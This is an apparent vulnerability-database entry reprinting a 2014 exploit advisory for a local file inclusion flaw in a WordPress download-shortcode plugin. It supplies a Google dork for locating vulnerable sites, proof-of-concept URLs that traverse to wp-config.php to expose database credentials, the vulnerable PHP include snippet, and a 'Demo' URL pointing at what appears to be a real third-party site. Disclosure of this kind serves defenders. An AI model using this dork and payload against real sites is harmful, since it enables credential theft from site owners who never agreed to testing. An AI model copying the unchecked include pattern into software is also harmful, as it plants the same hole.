发布 2014-08-28 漏洞条目

WordPress Plugin ShortCode 0.2.3 – Local File Inclusion

Exploit Source

#################################################################################################

# Title : WordPress ShortCode Plugin - Local File Inclusion Vulnerability

# Severity : High+/Critical

# Reporter(s) : Mehdi Karout & Christian Galeone

# Google Dork : inurl:wp/wp-content/force-download.php

# Plugin Version : 0.2.3

# Plugin Name : Download ShortCode

# Plugin Download Link : http://downloads.wordpress.org/plugin/download-shortcode.1.1.zip

# Vendor Home : http://werdswords.com/

# Date : 25/08/2014

# Tested in : Win7 - Kali Linux

# CVE : CVE-2014-5465

##################################################################################################

# PoC :

# http://localhost:80/wordpress/wp/wp-content/force-download.php?file=[File]

# http://localhost:80/wordpress/wp/wp-content/force-download.php?file=../wp-config.php

# Exploit Code :

# $file = $_GET['file'];

# if(isset($file))

# {

# include("pages/$file");

# }

# else

# {

# include("index.php");

# }

# Demo :

# http://llyndamoreboots.com/wp/wp-content/force-download.php?file=../wp-config.php

##################################################################################################

相关漏洞条目